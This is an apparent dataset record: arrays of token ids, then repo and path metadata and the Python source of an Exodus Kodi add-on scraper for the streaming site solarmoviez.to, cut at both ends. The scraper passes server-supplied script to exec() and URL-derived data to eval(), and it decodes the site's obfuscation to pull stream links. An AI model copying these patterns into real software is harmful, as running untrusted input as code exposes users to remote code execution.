63,
11676,
435,
284,
435,
413,
1874,
272,
4534,
14,
21104,
3981,
302,
63,
11676,
446,
413,
61,
275,
1338,
7528,
78,
63,
11676,
446,
413,
15405,
272,
372,
4534,
199,
199,
318,
24774,
8,
2324,
12,
627,
589,
12,
1011,
958,
304,
272,
408,
272,
1432,
282,
892,
805,
626,
1833,
606,
2335,
314,
5953,
402,
314,
1324,
272,
1325,
2597,
2529,
376,
4722,
574,
14,
8051,
367,
6425,
3423,
272,
402,
314,
5576,
730,
370,
986,
370,
658,
21242,
3179,
25593,
339,
3897,
272,
4143,
272,
4325,
520,
805,
339,
627,
589,
520,
1263,
267,
10961,
2633,
626,
314,
2138,
805,
911,
372,
339,
1011,
958,
520,
1211,
267,
7048,
1819,
315,
658,
958,
64,
911,
8649,
376,
2225,
402,
314,
1072,
267,
805,
14,
339,
1803,
272,
4143,
272,
8072,
520,
805,
267,
7053,
805,
626,
17795,
2839,
658,
2324,
64,
871,
626,
652,
2597,
2529,
267,
376,
4722,
574,
14,
339,
6058,
272,
4143,
272,
1306,
687,
9143,
492,
7417,
272,
1306,
11257,
2931,
63,
4284,
275,
4337,
272,
1306,
4534,
12,
3628,
275,
13631,
14,
576,
14,
21242,
3179,
8,
4077,
576,
12,
7633,
12,
3878,
2324,
12,
272,
2263,
263,
24774,
8,
6672,
8,
4812,
14,
576,
14,
5561,
14,
22890,
273,
12,
11257,
2931,
63,
4284,
12,
283,
2767,
74,
15524,
659,
11257,
2931,
63,
4284,
430,
272,
1306,
347,
289,
837,
272,
2263,
259,
372,
378,
12,
413,
5591,
2263,
272,
1306,
13631,
14,
6518,
323,
8,
70,
12,
650,
12,
841,
12,
959,
16315,
272,
334,
16,
12,
413,
12,
650,
12,
841,
12,
959,
9,
272,
1306,
13631,
14,
6518,
323,
8,
2734,
671,
26,
671,
627,
1275,
21,
12,
650,
12,
841,
12,
959,
5130,
17,
4959,
272,
334,
17,
2020,
650,
12,
841,
12,
959,
9,
272,
1306,
13631,
14,
6518,
323,
8,
2734,
671,
26,
671,
12,
413,
499,
9,
360,
1421,
358,
272,
661,
1421,
297,
413,
12,
499,
9,
272,
1306,
13631,
14,
6518,
323,
8,
70,
12,
283,
1421,
735,
272,
334,
16,
12,
413,
12,
283,
1421,
358,
272,
13631,
14,
6518,
323,
8,
70,
12,
378,
12,
3925,
534,
1700,
1959,
1421,
272,
1306,
283,
1700,
7,
339,
8144,
272,
4143,
272,
982,
658,
2324,
64,
2529,
3663,
1338,
12,
3520,
911,
506,
2138,
315,
3414,
272,
465,
314,
1642,
1338,
2138,
701,
658,
525,
63,
264,
1086,
8,
2324,
12,
1680,
16,
12,
1680,
17,
12,
1680,
18,
20414,
1666,
2893,
272,
3432,
14,
272,
408,
272,
347,
485,
5029,
2031,
63,
589,
12,
1011,
958,
304,
267,
485,
3292,
275,
4325,
2031,
63,
589,
12,
1011,
958,
9,
267,
340,
1228,
1547,
3292,
12,
2008,
304,
288,
372,
485,
3292,
435,
1249,
267,
340,
822,
8,
589,
9,
508,
378,
26,
288,
372,
485,
3292,
267,
372,
6110,
3292,
4258,
435,
1249,
272,
367,
790,
12,
574,
315,
2074,
14,
1744,
837,
267,
485,
5029,
855,
807,
12298,
498,
61,
275,
574,
272,
372,
485,
5029,
199,
199,
318,
6544,
8,
2324,
12,
1048
] |
[
199,
703,
1898,
334,
67,
9,
6927,
12,
6900,
16794,
609,
452,
481,
285,
10742,
2043,
4190,
1455,
921,
16374,
14,
1308,
15,
2383,
15,
13965,
199,
199,
7844,
446,
7809,
3423,
18479,
1494,
1705,
647,
78,
554,
14,
2330,
10522,
199,
12813,
389,
199,
199,
703,
1453,
578,
447,
1134,
78,
554,
14,
2330,
199,
624,
199,
199,
646,
10634,
465,
6454,
199,
199,
318,
13953,
300,
794,
8,
69,
783,
369,
63,
576,
12,
302,
63,
11676,
12,
1011,
958,
304,
272,
408,
272,
7958,
282,
3066,
334,
324,
12916,
9,
3878,
663,
687,
314,
1324,
666,
14,
272,
710,
574,
737,
658,
2301,
64,
641,
314,
1627,
1434,
365,
9394,
272,
465,
282,
3878,
12,
436,
1924,
1962,
3509,
1338,
367,
302,
63,
11676,
339,
3897,
272,
3001,
2595,
272,
325,
783,
369,
63,
576,
520,
10071,
267,
666,
687,
1314,
370,
3550,
4534,
339,
302,
63,
11676,
520,
1109,
267,
1329,
402,
12184,
370,
675,
465,
4534,
339,
7267,
520,
620,
12,
849,
26,
283,
2767,
74,
15524,
7,
267,
2763,
402,
658,
69,
783,
369,
63,
576,
64,
687,
1314,
370,
3550,
4534,
14,
339,
4362,
520,
769,
12,
849,
26,
1124,
1130,
8,
495,
12,
1425,
18138,
78,
63,
11676,
435,
413,
395,
413,
430,
1040,
267,
2763,
1561,
367,
1072,
10071,
14,
3758,
911,
3648,
2839,
26,
267,
11573,
21,
297,
2475,
20,
297,
2475,
19,
297,
2475,
18,
297,
2475,
17,
297,
283,
16,
2278,
339,
1803,
272,
4143,
272,
734,
520,
10071,
267,
7048,
1962,
365,
282,
3414,
402,
658,
78,
63,
11676,
64,
2351,
1338,
2382,
267,
314,
2061,
2763,
4450,
314,
574,
641,
314,
1434,
2013,
701,
267,
314,
10071,
1478,
14,
339,
6058,
272,
3001,
272,
1306,
13631,
14,
11873,
300,
794,
8,
69,
783,
369,
63,
576,
12,
302,
63,
11676,
12,
1011,
958,
9,
272,
408,
272,
327,
18644,
316,
272,
327,
6071,
308,
275,
283,
504,
636,
973,
363,
492,
666,
60,
78,
646,
2197,
465,
4487,
60,
78,
7,
272,
327,
6071,
900,
390,
14,
521,
390,
360,
576,
14,
11873,
300,
794,
8,
576,
14,
362,
480,
303,
401,
4487,
14,
602,
8,
1167,
2259,
12,
413,
12,
413,
395,
5591,
327,
263,
4487,
14,
602,
8,
7280,
12,
3144,
12,
7105,
1826,
7633,
3196,
3272,
29,
83,
12,
1329,
29,
17,
9,
272,
327,
17,
14,
28542,
10848,
966,
8216,
1082,
9963,
272,
4362,
275,
2074,
14,
362,
360,
3406,
297,
2341,
8,
495,
12,
1425,
2801,
78,
63,
11676,
435,
413,
12,
413,
1724,
272,
7267,
275,
2074,
14,
362,
360,
5592,
297,
283,
2767,
74,
15524,
358,
272,
327,
2701,
10071,
543,
6387,
1478,
436,
2763,
3628,
272,
4534,
275,
6454,
14,
9205,
8,
1080,
29,
69,
783,
369,
63,
576,
14,
1080,
7528,
78,
63,
11676,
446,
413,
304,
467,
288,
4362,
29,
3406,
12,
2152,
534,
1609,
772,
358,
272,
1338,
275,
325,
783,
369,
63,
576,
59,
5592,
1055,
1459,
272,
367,
284,
315,
1425,
8,
78,
63,
11676,
446,
413,
304,
267,
4534,
14,
21104,
3981,
284,
61,
275,
1338,
59,
73,
26,
2801,
78,
63,
11676,
435,
284,
435,
413,
1874,
272,
4534,
14,
21104,
3981,
302,
63,
11676,
446,
413,
61,
275,
1338,
7528,
78,
63,
11676,
446,
413,
15405,
272,
372,
4534,
199,
199,
318,
24774,
8,
2324,
12,
627,
589,
12,
1011,
958,
304,
272,
408,
272,
1432,
282,
892,
805,
626,
1833,
606,
2335,
314,
5953,
402,
314,
1324,
272,
1325,
2597,
2529,
376,
4722,
574,
14,
8051,
367,
6425,
3423,
272,
402,
314,
5576,
730,
370,
986,
370,
658,
21242,
3179,
25593,
339,
3897,
272,
4143,
272,
4325,
520,
805,
339,
627,
589,
520,
1263,
267,
10961,
2633,
626,
314,
2138,
805,
911,
372,
339,
1011,
958,
520,
1211,
267,
7048,
1819,
315,
658,
958,
64,
911,
8649,
376,
2225,
402,
314,
1072,
267,
805,
14,
339,
1803,
272,
4143,
272,
8072,
520,
805,
267,
7053,
805,
626,
17795,
2839,
658,
2324,
64,
871,
626,
652,
2597,
2529,
267,
376,
4722,
574,
14,
339,
6058,
272,
4143,
272,
1306,
687,
9143,
492,
7417,
272,
1306,
11257,
2931,
63,
4284,
275,
4337,
272,
1306,
4534,
12,
3628,
275,
13631,
14,
576,
14,
21242,
3179,
8,
4077,
576,
12,
7633,
12,
3878,
2324,
12,
272,
2263,
263,
24774,
8,
6672,
8,
4812,
14,
576,
14,
5561,
14,
22890,
273,
12,
11257,
2931,
63,
4284,
12,
283,
2767,
74,
15524,
659,
11257,
2931,
63,
4284,
430,
272,
1306,
347,
289,
837,
272,
2263,
259,
372,
378,
12,
413,
5591,
2263,
272,
1306,
13631,
14,
6518,
323,
8,
70,
12,
650,
12,
841,
12,
959,
16315,
272,
334,
16,
12,
413,
12,
650,
12,
841,
12,
959,
9,
272,
1306,
13631,
14,
6518,
323,
8,
2734,
671,
26,
671,
627,
1275,
21,
12,
650,
12,
841,
12,
959,
5130,
17,
4959,
272,
334,
17,
2020,
650,
12,
841,
12,
959,
9,
272,
1306,
13631,
14,
6518,
323,
8,
2734,
671,
26,
671,
12,
413,
499,
9,
360,
1421,
358,
272,
661,
1421,
297,
413,
12,
499,
9,
272,
1306,
13631,
14,
6518,
323,
8,
70,
12,
283,
1421,
735,
272,
334,
16,
12,
413,
12,
283,
1421,
358,
272,
13631,
14,
6518,
323,
8,
70,
12,
378,
12,
3925,
534,
1700,
1959,
1421,
272,
1306,
283,
1700,
7,
339,
8144,
272,
4143,
272,
982,
658,
2324,
64,
2529,
3663,
1338,
12,
3520,
911,
506,
2138,
315,
3414,
272,
465,
314,
1642,
1338,
2138,
701,
658,
525,
63,
264,
1086,
8,
2324,
12,
1680,
16,
12,
1680,
17,
12,
1680,
18,
20414,
1666,
2893,
272,
3432,
14,
272,
408,
272,
347,
485,
5029,
2031,
63,
589,
12,
1011,
958,
304,
267,
485,
3292,
275,
4325,
2031,
63,
589,
12,
1011,
958,
9,
267,
340,
1228,
1547,
3292,
12,
2008,
304,
288,
372,
485,
3292,
435,
1249,
267,
340,
822,
8,
589,
9,
508,
378,
26,
288,
372,
485,
3292,
267,
372,
6110,
3292,
4258,
435,
1249,
272,
367,
790,
12,
574,
315,
2074,
14,
1744,
837,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
TheWardoctor/Wardoctors-repo
|
script.module.exodus/lib/resources/lib/sources/en/solarmovie.py
|
5
|
10658
|
# NEEDS FIXING
# -*- coding: utf-8 -*-
'''
Exodus Add-on
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
'''
import re,urllib,urlparse,hashlib,random,string,json,base64,sys
from resources.lib.modules import cleantitle
from resources.lib.modules import client
from resources.lib.modules import cache
from resources.lib.modules import directstream
from resources.lib.modules import jsunfuck
CODE = '''def retA():
class Infix:
def __init__(self, function):
self.function = function
def __ror__(self, other):
return Infix(lambda x, self=self, other=other: self.function(other, x))
def __or__(self, other):
return self.function(other)
def __rlshift__(self, other):
return Infix(lambda x, self=self, other=other: self.function(other, x))
def __rshift__(self, other):
return self.function(other)
def __call__(self, value1, value2):
return self.function(value1, value2)
def my_add(x, y):
try: return x + y
except Exception: return str(x) + str(y)
x = Infix(my_add)
return %s
param = retA()'''
class source:
def __init__(self):
self.priority = 1
self.language = ['en']
self.domains = ['solarmoviez.to']
self.base_link = 'https://solarmoviez.to'
self.search_link = '/movie/search/%s.html'
self.info_link = '/ajax/movie_info/%s.html?is_login=false'
self.server_link = '/ajax/v4_movie_episodes/%s'
self.embed_link = '/ajax/movie_embed/%s'
self.token_link = '/ajax/movie_token?eid=%s&mid=%s'
self.source_link = '/ajax/movie_sources/%s?x=%s&y=%s'
def matchAlias(self, title, aliases):
try:
for alias in aliases:
if cleantitle.get(title) == cleantitle.get(alias['title']):
return True
except:
return False
def movie(self, imdb, title, localtitle, aliases, year):
try:
aliases.append({'country': 'us', 'title': title})
url = {'imdb': imdb, 'title': title, 'year': year, 'aliases': aliases}
url = urllib.urlencode(url)
return url
except:
return
def tvshow(self, imdb, tvdb, tvshowtitle, localtvshowtitle, aliases, year):
try:
aliases.append({'country': 'us', 'title': tvshowtitle})
url = {'imdb': imdb, 'tvdb': tvdb, 'tvshowtitle': tvshowtitle, 'year': year, 'aliases': aliases}
url = urllib.urlencode(url)
return url
except:
return
def episode(self, url, imdb, tvdb, title, premiered, season, episode):
try:
if url == None: return
url = urlparse.parse_qs(url)
url = dict([(i, url[i][0]) if url[i] else (i, '') for i in url])
url['title'], url['premiered'], url['season'], url['episode'] = title, premiered, season, episode
url = urllib.urlencode(url)
return url
except:
return
def searchShow(self, title, season, aliases, headers):
try:
title = cleantitle.normalize(title)
search = '%s Season %01d' % (title, int(season))
url = urlparse.urljoin(self.base_link, self.search_link % urllib.quote_plus(cleantitle.getsearch(search)))
r = client.request(url, headers=headers, timeout='15')
r = client.parseDOM(r, 'div', attrs={'class': 'ml-item'})
r = zip(client.parseDOM(r, 'a', ret='href'), client.parseDOM(r, 'a', ret='title'))
r = [(i[0], i[1], re.findall('(.*?)\s+-\s+Season\s+(\d)', i[1])) for i in r]
r = [(i[0], i[1], i[2][0]) for i in r if len(i[2]) > 0]
url = [i[0] for i in r if self.matchAlias(i[2][0], aliases) and i[2][1] == season][0]
return url
except:
return
def searchMovie(self, title, year, aliases, headers):
try:
title = cleantitle.normalize(title)
url = urlparse.urljoin(self.base_link, self.search_link % urllib.quote_plus(cleantitle.getsearch(title)))
r = client.request(url, headers=headers, timeout='15')
r = client.parseDOM(r, 'div', attrs={'class': 'ml-item'})
r = zip(client.parseDOM(r, 'a', ret='href'), client.parseDOM(r, 'a', ret='title'))
results = [(i[0], i[1], re.findall('\((\d{4})', i[1])) for i in r]
try:
r = [(i[0], i[1], i[2][0]) for i in results if len(i[2]) > 0]
url = [i[0] for i in r if self.matchAlias(i[1], aliases) and (year == i[2])][0]
except:
url = None
pass
if (url == None):
url = [i[0] for i in results if self.matchAlias(i[1], aliases)][0]
return url
except:
return
def sources(self, url, hostDict, hostprDict):
try:
sources = []
if url is None: return sources
data = urlparse.parse_qs(url)
data = dict([(i, data[i][0]) if data[i] else (i, '') for i in data])
aliases = eval(data['aliases'])
headers = {}
if 'tvshowtitle' in data:
episode = int(data['episode'])
url = self.searchShow(data['tvshowtitle'], data['season'], aliases, headers)
else:
episode = 0
url = self.searchMovie(data['title'], data['year'], aliases, headers)
mid = re.findall('-(\d+)', url)[-1]
try:
headers = {'Referer': url}
u = urlparse.urljoin(self.base_link, self.server_link % mid)
r = client.request(u, headers=headers, XHR=True)
r = json.loads(r)['html']
r = client.parseDOM(r, 'div', attrs = {'class': 'pas-list'})
ids = client.parseDOM(r, 'li', ret='data-id')
servers = client.parseDOM(r, 'li', ret='data-server')
labels = client.parseDOM(r, 'a', ret='title')
r = zip(ids, servers, labels)
for eid in r:
try:
try:
ep = re.findall('episode.*?(\d+).*?',eid[2].lower())[0]
except:
ep = 0
if (episode == 0) or (int(ep) == episode):
url = urlparse.urljoin(self.base_link, self.token_link % (eid[0], mid))
script = client.request(url)
if '$_$' in script:
params = self.uncensored1(script)
elif script.startswith('[]') and script.endswith('()'):
params = self.uncensored2(script)
elif '_x=' in script:
x = re.search('''_x=['"]([^"']+)''', script).group(1)
y = re.search('''_y=['"]([^"']+)''', script).group(1)
params = {'x': x, 'y': y}
else:
raise Exception()
u = urlparse.urljoin(self.base_link, self.source_link % (eid[0], params['x'], params['y']))
r = client.request(u, XHR=True)
url = json.loads(r)['playlist'][0]['sources']
url = [i['file'] for i in url if 'file' in i]
url = [directstream.googletag(i) for i in url]
url = [i[0] for i in url if i]
for s in url:
sources.append({'source': 'gvideo', 'quality': s['quality'], 'language': 'en',
'url': s['url'], 'direct': True, 'debridonly': False})
except:
pass
except:
pass
return sources
except:
return sources
def resolve(self, url):
try:
if self.embed_link in url:
result = client.request(url, XHR=True)
url = json.loads(result)['embed_url']
return url
try:
for i in range(3):
u = directstream.googlepass(url)
if not u == None: break
return u
except:
return
except:
return
def uncensored(a, b):
x = '' ; i = 0
for i, y in enumerate(a):
z = b[i % len(b) - 1]
y = int(ord(str(y)[0])) + int(ord(str(z)[0]))
x += chr(y)
x = base64.b64encode(x)
return x
def uncensored1(self, script):
try:
script = '(' + script.split("(_$$)) ('_');")[0].split("/* `$$` */")[-1].strip()
script = script.replace('(__$)[$$$]', '\'"\'')
script = script.replace('(__$)[_$]', '"\\\\"')
script = script.replace('(o^_^o)', '3')
script = script.replace('(c^_^o)', '0')
script = script.replace('(_$$)', '1')
script = script.replace('($$_)', '4')
vGlobals = {"__builtins__": None, '__name__': __name__, 'str': str, 'Exception': Exception}
vLocals = {'param': None}
exec (CODE % script.replace('+', '|x|'), vGlobals, vLocals)
data = vLocals['param'].decode('string_escape')
x = re.search('''_x=['"]([^"']+)''', data).group(1)
y = re.search('''_y=['"]([^"']+)''', data).group(1)
return {'x': x, 'y': y}
except:
pass
def uncensored2(self, script):
try:
js = jsunfuck.JSUnfuck(script).decode()
x = re.search('''_x=['"]([^"']+)''', js).group(1)
y = re.search('''_y=['"]([^"']+)''', js).group(1)
return {'x': x, 'y': y}
except:
pass
|
apache-2.0
|
[
3,
7110,
1149,
51,
7333,
1206,
199,
199,
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
2344,
272,
1316,
364,
527,
2654,
13,
265,
339,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
272,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
272,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
272,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
339,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
272,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
272,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
272,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
339,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
272,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
2344,
421,
199,
646,
295,
12,
4078,
12,
10290,
12,
24722,
12,
2355,
12,
875,
12,
1001,
12,
1095,
772,
12,
1274,
199,
199,
504,
5944,
14,
773,
14,
3112,
492,
3633,
1213,
199,
504,
5944,
14,
773,
14,
3112,
492,
1890,
199,
504,
5944,
14,
773,
14,
3112,
492,
2581,
199,
504,
5944,
14,
773,
14,
3112,
492,
4125,
1745,
199,
504,
5944,
14,
773,
14,
3112,
492,
8586,
324,
70,
10112,
199,
199,
6012,
275,
1449,
318,
2203,
33,
837,
272,
1021,
1010,
970,
26,
267,
347,
636,
826,
721,
277,
12,
805,
304,
288,
291,
14,
1593,
275,
805,
267,
347,
636,
451,
721,
277,
12,
1163,
304,
288,
372,
1010,
970,
8,
2734,
671,
12,
291,
29,
277,
12,
1163,
29,
1848,
26,
291,
14,
1593,
8,
1848,
12,
671,
430,
267,
347,
636,
269,
721,
277,
12,
1163,
304,
288,
372,
291,
14,
1593,
8,
1848,
9,
267,
347,
636,
82,
23025,
2949,
721,
277,
12,
1163,
304,
288,
372,
1010,
970,
8,
2734,
671,
12,
291,
29,
277,
12,
1163,
29,
1848,
26,
291,
14,
1593,
8,
1848,
12,
671,
430,
267,
347,
636,
82,
4723,
721,
277,
12,
1163,
304,
288,
372,
291,
14,
1593,
8,
1848,
9,
267,
347,
636,
1250,
721,
277,
12,
574,
17,
12,
574,
18,
304,
288,
372,
291,
14,
1593,
8,
585,
17,
12,
574,
18,
9,
272,
347,
3002,
63,
525,
8,
88,
12,
612,
304,
267,
862,
26,
372,
671,
435,
612,
267,
871,
2186,
26,
372,
620,
8,
88,
9,
435,
620,
8,
89,
9,
272,
671,
275,
1010,
970,
8,
1662,
63,
525,
9,
272,
372,
450,
83,
199,
635,
275,
2203,
33,
342,
2344,
199,
199,
533,
1350,
26,
272,
347,
636,
826,
721,
277,
304,
267,
291,
14,
6693,
275,
413,
267,
291,
14,
3671,
275,
788,
287,
418,
267,
291,
14,
9756,
275,
788,
7873,
285,
10888,
90,
14,
475,
418,
267,
291,
14,
1095,
63,
1073,
275,
283,
2859,
921,
7873,
285,
10888,
90,
14,
475,
7,
267,
291,
14,
1733,
63,
1073,
275,
1994,
10888,
15,
1733,
3149,
83,
14,
1360,
7,
267,
291,
14,
815,
63,
1073,
275,
1994,
12774,
15,
10888,
63,
815,
3149,
83,
14,
1360,
31,
374,
63,
2886,
29,
3910,
7,
267,
291,
14,
1000,
63,
1073,
275,
1994,
12774,
15,
86,
20,
63,
10888,
63,
22027,
3149,
83,
7,
267,
291,
14,
6427,
63,
1073,
275,
1994,
12774,
15,
10888,
63,
6427,
3149,
83,
7,
267,
291,
14,
1418,
63,
1073,
275,
1994,
12774,
15,
10888,
63,
1418,
31,
30065,
2458,
83,
6,
8523,
2458,
83,
7,
267,
291,
14,
1365,
63,
1073,
275,
1994,
12774,
15,
10888,
63,
4553,
3149,
83,
31,
88,
2458,
83,
6,
89,
2458,
83,
7,
339,
347,
1336,
14149,
8,
277,
12,
2538,
12,
5481,
304,
267,
862,
26,
288,
367,
5162,
315,
5481,
26,
355,
340,
3633,
1213,
14,
362,
8,
1213,
9,
508,
3633,
1213,
14,
362,
8,
3620,
459,
1213,
9090,
490,
372,
715,
267,
871,
26,
288,
372,
756,
339,
347,
14360,
8,
277,
12,
18232,
12,
2538,
12,
2257,
1213,
12,
5481,
12,
5361,
304,
267,
862,
26,
288,
5481,
14,
740,
3252,
6063,
356,
283,
527,
297,
283,
1213,
356,
2538,
1552,
288,
1166,
275,
791,
17117,
356,
18232,
12,
283,
1213,
356,
2538,
12,
283,
3403,
356,
5361,
12,
283,
8602,
356,
5481,
93,
288,
1166,
275,
4011,
14,
10738,
8,
633,
9,
288,
372,
1166,
267,
871,
26,
288,
372,
339,
347,
13466,
2384,
8,
277,
12,
18232,
12,
26905,
12,
13466,
2384,
1213,
12,
2257,
6993,
2384,
1213,
12,
5481,
12,
5361,
304,
267,
862,
26,
288,
5481,
14,
740,
3252,
6063,
356,
283,
527,
297,
283,
1213,
356,
13466,
2384,
1213,
1552,
288,
1166,
275,
791,
17117,
356,
18232,
12,
283,
23625,
356,
26905,
12,
283,
6993,
2384,
1213,
356,
13466,
2384,
1213,
12,
283,
3403,
356,
5361,
12,
283,
8602,
356,
5481,
93,
288,
1166,
275,
4011,
14,
10738,
8,
633,
9,
288,
372,
1166,
267,
871,
26,
288,
372,
2378,
347,
11052,
8,
277,
12,
1166,
12,
18232,
12,
26905,
12,
2538,
12,
876,
77,
1873,
581,
12,
14718,
12,
11052,
304,
267,
862,
26,
288,
340,
1166,
508,
488,
26,
372,
288,
1166,
275,
7097,
14,
1122,
63,
6177,
8,
633,
9,
288,
1166,
275,
1211,
7694,
73,
12,
1166,
59,
73,
1527,
16,
566,
340,
1166,
59,
73,
61,
587,
334,
73,
12,
4074,
367,
284,
315,
1166,
566,
288,
1166,
459,
1213,
995,
1166,
459,
657,
77,
1873,
581,
995,
1166,
459,
12605,
995,
1166,
459,
9544,
418,
275,
2538,
12,
876,
77,
1873,
581,
12,
14718,
12,
11052,
288,
1166,
275,
4011,
14,
10738,
8,
633,
9,
288,
372,
1166,
267,
871,
26,
288,
372,
339,
347,
2754,
6824,
8,
277,
12,
2538,
12,
14718,
12,
5481,
12,
2323,
304,
267,
862,
26,
288,
2538,
275,
3633,
1213,
14,
7721,
8,
1213,
9,
288,
2754,
275,
1543,
83,
3240,
2660,
450,
614,
68,
7,
450,
334,
1213,
12,
1109,
8,
12605,
430,
288,
1166,
275,
7097,
14,
17755,
8,
277,
14,
1095,
63,
1073,
12,
291,
14,
1733,
63,
1073,
450,
4011
] |
[
7110,
1149,
51,
7333,
1206,
199,
199,
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
2344,
272,
1316,
364,
527,
2654,
13,
265,
339,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
272,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
272,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
272,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
339,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
272,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
272,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
272,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
339,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
272,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
2344,
421,
199,
646,
295,
12,
4078,
12,
10290,
12,
24722,
12,
2355,
12,
875,
12,
1001,
12,
1095,
772,
12,
1274,
199,
199,
504,
5944,
14,
773,
14,
3112,
492,
3633,
1213,
199,
504,
5944,
14,
773,
14,
3112,
492,
1890,
199,
504,
5944,
14,
773,
14,
3112,
492,
2581,
199,
504,
5944,
14,
773,
14,
3112,
492,
4125,
1745,
199,
504,
5944,
14,
773,
14,
3112,
492,
8586,
324,
70,
10112,
199,
199,
6012,
275,
1449,
318,
2203,
33,
837,
272,
1021,
1010,
970,
26,
267,
347,
636,
826,
721,
277,
12,
805,
304,
288,
291,
14,
1593,
275,
805,
267,
347,
636,
451,
721,
277,
12,
1163,
304,
288,
372,
1010,
970,
8,
2734,
671,
12,
291,
29,
277,
12,
1163,
29,
1848,
26,
291,
14,
1593,
8,
1848,
12,
671,
430,
267,
347,
636,
269,
721,
277,
12,
1163,
304,
288,
372,
291,
14,
1593,
8,
1848,
9,
267,
347,
636,
82,
23025,
2949,
721,
277,
12,
1163,
304,
288,
372,
1010,
970,
8,
2734,
671,
12,
291,
29,
277,
12,
1163,
29,
1848,
26,
291,
14,
1593,
8,
1848,
12,
671,
430,
267,
347,
636,
82,
4723,
721,
277,
12,
1163,
304,
288,
372,
291,
14,
1593,
8,
1848,
9,
267,
347,
636,
1250,
721,
277,
12,
574,
17,
12,
574,
18,
304,
288,
372,
291,
14,
1593,
8,
585,
17,
12,
574,
18,
9,
272,
347,
3002,
63,
525,
8,
88,
12,
612,
304,
267,
862,
26,
372,
671,
435,
612,
267,
871,
2186,
26,
372,
620,
8,
88,
9,
435,
620,
8,
89,
9,
272,
671,
275,
1010,
970,
8,
1662,
63,
525,
9,
272,
372,
450,
83,
199,
635,
275,
2203,
33,
342,
2344,
199,
199,
533,
1350,
26,
272,
347,
636,
826,
721,
277,
304,
267,
291,
14,
6693,
275,
413,
267,
291,
14,
3671,
275,
788,
287,
418,
267,
291,
14,
9756,
275,
788,
7873,
285,
10888,
90,
14,
475,
418,
267,
291,
14,
1095,
63,
1073,
275,
283,
2859,
921,
7873,
285,
10888,
90,
14,
475,
7,
267,
291,
14,
1733,
63,
1073,
275,
1994,
10888,
15,
1733,
3149,
83,
14,
1360,
7,
267,
291,
14,
815,
63,
1073,
275,
1994,
12774,
15,
10888,
63,
815,
3149,
83,
14,
1360,
31,
374,
63,
2886,
29,
3910,
7,
267,
291,
14,
1000,
63,
1073,
275,
1994,
12774,
15,
86,
20,
63,
10888,
63,
22027,
3149,
83,
7,
267,
291,
14,
6427,
63,
1073,
275,
1994,
12774,
15,
10888,
63,
6427,
3149,
83,
7,
267,
291,
14,
1418,
63,
1073,
275,
1994,
12774,
15,
10888,
63,
1418,
31,
30065,
2458,
83,
6,
8523,
2458,
83,
7,
267,
291,
14,
1365,
63,
1073,
275,
1994,
12774,
15,
10888,
63,
4553,
3149,
83,
31,
88,
2458,
83,
6,
89,
2458,
83,
7,
339,
347,
1336,
14149,
8,
277,
12,
2538,
12,
5481,
304,
267,
862,
26,
288,
367,
5162,
315,
5481,
26,
355,
340,
3633,
1213,
14,
362,
8,
1213,
9,
508,
3633,
1213,
14,
362,
8,
3620,
459,
1213,
9090,
490,
372,
715,
267,
871,
26,
288,
372,
756,
339,
347,
14360,
8,
277,
12,
18232,
12,
2538,
12,
2257,
1213,
12,
5481,
12,
5361,
304,
267,
862,
26,
288,
5481,
14,
740,
3252,
6063,
356,
283,
527,
297,
283,
1213,
356,
2538,
1552,
288,
1166,
275,
791,
17117,
356,
18232,
12,
283,
1213,
356,
2538,
12,
283,
3403,
356,
5361,
12,
283,
8602,
356,
5481,
93,
288,
1166,
275,
4011,
14,
10738,
8,
633,
9,
288,
372,
1166,
267,
871,
26,
288,
372,
339,
347,
13466,
2384,
8,
277,
12,
18232,
12,
26905,
12,
13466,
2384,
1213,
12,
2257,
6993,
2384,
1213,
12,
5481,
12,
5361,
304,
267,
862,
26,
288,
5481,
14,
740,
3252,
6063,
356,
283,
527,
297,
283,
1213,
356,
13466,
2384,
1213,
1552,
288,
1166,
275,
791,
17117,
356,
18232,
12,
283,
23625,
356,
26905,
12,
283,
6993,
2384,
1213,
356,
13466,
2384,
1213,
12,
283,
3403,
356,
5361,
12,
283,
8602,
356,
5481,
93,
288,
1166,
275,
4011,
14,
10738,
8,
633,
9,
288,
372,
1166,
267,
871,
26,
288,
372,
2378,
347,
11052,
8,
277,
12,
1166,
12,
18232,
12,
26905,
12,
2538,
12,
876,
77,
1873,
